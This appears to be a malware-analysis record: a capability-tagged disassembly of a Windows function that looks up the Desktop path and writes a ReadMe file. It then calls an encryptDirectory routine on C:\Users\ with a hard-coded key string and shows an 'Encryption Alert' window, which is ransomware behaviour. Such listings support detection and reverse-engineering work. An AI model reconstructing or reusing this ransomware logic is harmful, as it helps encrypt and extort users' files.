Function at 0x403516
Capabilities:
Contain obfuscated stackstrings
Get common file path
Hide graphical window

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x1f8
mov dword [ebp - 0x1b4], sym.___gxx_personality_sj0
mov dword [ebp - 0x1b0], 0x483a3a
lea eax, [ebp - 0x1ac]
lea ebx, [ebp - 0x18]
mov dword [eax], ebx
mov edx, 0x40391d
mov dword [eax + 4], edx
mov dword [eax + 8], esp
lea eax, [ebp - 0x1cc]
mov dword [esp], eax
call dbg._Unwind_SjLj_Register
call dbg.__main
lea eax, [ebp - 0x168]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x10
mov dword [esp], 0
mov eax, dword [sym.imp.SHELL32.DLL_SHGetFolderPathA]
mov dword [ebp - 0x1c8], 0xffffffff
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x403616
lea eax, [ebp - 0x24]
mov ecx, eax
call fcn.0044ab90
lea eax, [ebp - 0x64]
lea edx, [ebp - 0x24]
mov dword [esp + 4], edx
lea edx, [ebp - 0x168]
mov dword [esp], edx
mov dword [ebp - 0x1c8], 1
mov ecx, eax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x24]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x64]
mov dword [esp], eax
mov dword [ebp - 0x1c8], 2
call sym.createReadMeFile_std::string_const_
lea eax, [ebp - 0x64]
mov dword [ebp - 0x1c8], 0xffffffff
mov ecx, eax
call fcn.00457a00
jmp 0x403645
mov dword [esp + 4], str.Failed_to_get_Desktop_path.
mov dword [esp], 0x48bfc0
mov dword [ebp - 0x1c8], 0xffffffff
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
lea eax, [ebp - 0x23]
mov ecx, eax
call fcn.0044ab90
lea eax, [ebp - 0x28]
lea edx, [ebp - 0x23]
mov dword [esp + 4], edx
mov dword [esp], str.XKY4K_2NRWR_8F6P2_448RF_CRYQH
mov dword [ebp - 0x1c8], 3
mov ecx, eax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x23]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x22]
mov ecx, eax
call fcn.0044ab90
lea eax, [ebp - 0x2c]
lea edx, [ebp - 0x22]
mov dword [esp + 4], edx
mov dword [esp], str.C:_Users_
mov dword [ebp - 0x1c8], 4
mov ecx, eax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x22]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x21]
mov ecx, eax
call fcn.0044ab90
lea eax, [ebp - 0x30]
lea edx, [ebp - 0x21]
mov dword [esp + 4], edx
mov dword [esp], 0x48d45b
mov dword [ebp - 0x1c8], 6
mov ecx, eax
call sym.std::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_char_const__std::allocator_char__const_
sub esp, 8
lea eax, [ebp - 0x21]
mov ecx, eax
call sym.std::allocator_char_::allocator__
lea eax, [ebp - 0x28]
mov dword [esp + 4], eax
lea eax, [ebp - 0x2c]
mov dword [esp], eax
mov dword [ebp - 0x1c8], 8
call sym.encryptDirectory_std::string_const__std::string_const_
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call eax
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x44], 0x706d6153
mov dword [ebp - 0x40], 0x5720656c
mov dword [ebp - 0x3c], 0x6f646e69
mov dword [ebp - 0x38], 0x6c432077
mov dword [ebp - 0x34], 0x737361
lea edx, [ebp - 0x190]
mov eax, 0
mov ecx, 0xa
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x18c], sym.__Z10WindowProcP6HWND__jjl_16
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x180], eax
lea eax, [ebp - 0x44]
mov dword [ebp - 0x16c], eax
mov dword [ebp - 0x174], 6
lea eax, [ebp - 0x190]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_RegisterClassA]
call eax
sub esp, 4
mov dword [esp + 0x2c], 0
mov eax, dword [ebp - 0x1c]
mov dword [esp + 0x28], eax
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
mov dword [esp + 0x1c], 0x12c
mov dword [esp + 0x18], 0x258
mov dword [esp + 0x14], 0x80000000
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0xca0000
mov dword [esp + 8], str.Encryption_Alert
lea eax, [ebp - 0x44]
mov dword [esp + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_CreateWindowExA]
call eax
sub esp, 0x30
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x40380f
mov dword [ebp - 0x1d0], 0
jmp 0x4038d0
mov dword [esp + 4], 5
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_ShowWindow]
mov dword [ebp - 0x1c8], 8
call eax
sub esp, 8
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_UpdateWindow]
call eax
sub esp, 4
mov ecx, 0
mov eax, 0x1c
and eax, 0xfffffffc
mov edx, eax
mov eax, 0
mov dword [ebp + eax - 0x60], ecx
add eax, 4
cmp eax, edx
jb 0x403855
jmp 0x40388c
lea eax, [ebp - 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_TranslateMessage]
mov dword [ebp - 0x1c8], 8
call eax
sub esp, 4
lea eax, [ebp - 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_DispatchMessageA]
call eax
sub esp, 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
lea eax, [ebp - 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.USER32.dll_GetMessageA]
mov dword [ebp - 0x1c8], 8
call eax
sub esp, 0x10
test eax, eax
setne al
test al, al
jne 0x403862
mov eax, dword [ebp - 0x58]
mov dword [ebp - 0x1d0], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x1c8], 7
mov ecx, eax
call fcn.00457a00
lea eax, [ebp - 0x2c]
mov dword [ebp - 0x1c8], 5
mov ecx, eax
call fcn.00457a00
lea eax, [ebp - 0x28]
mov dword [ebp - 0x1c8], 0xffffffff
mov ecx, eax
call fcn.00457a00
mov eax, dword [ebp - 0x1d0]
mov dword [ebp - 0x1d0], eax
jmp 0x403a84
lea eax, [ebp - 0x1cc]
mov dword [esp], eax
call sym.__Unwind_SjLj_Unregister
mov eax, dword [ebp - 0x1d0]
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret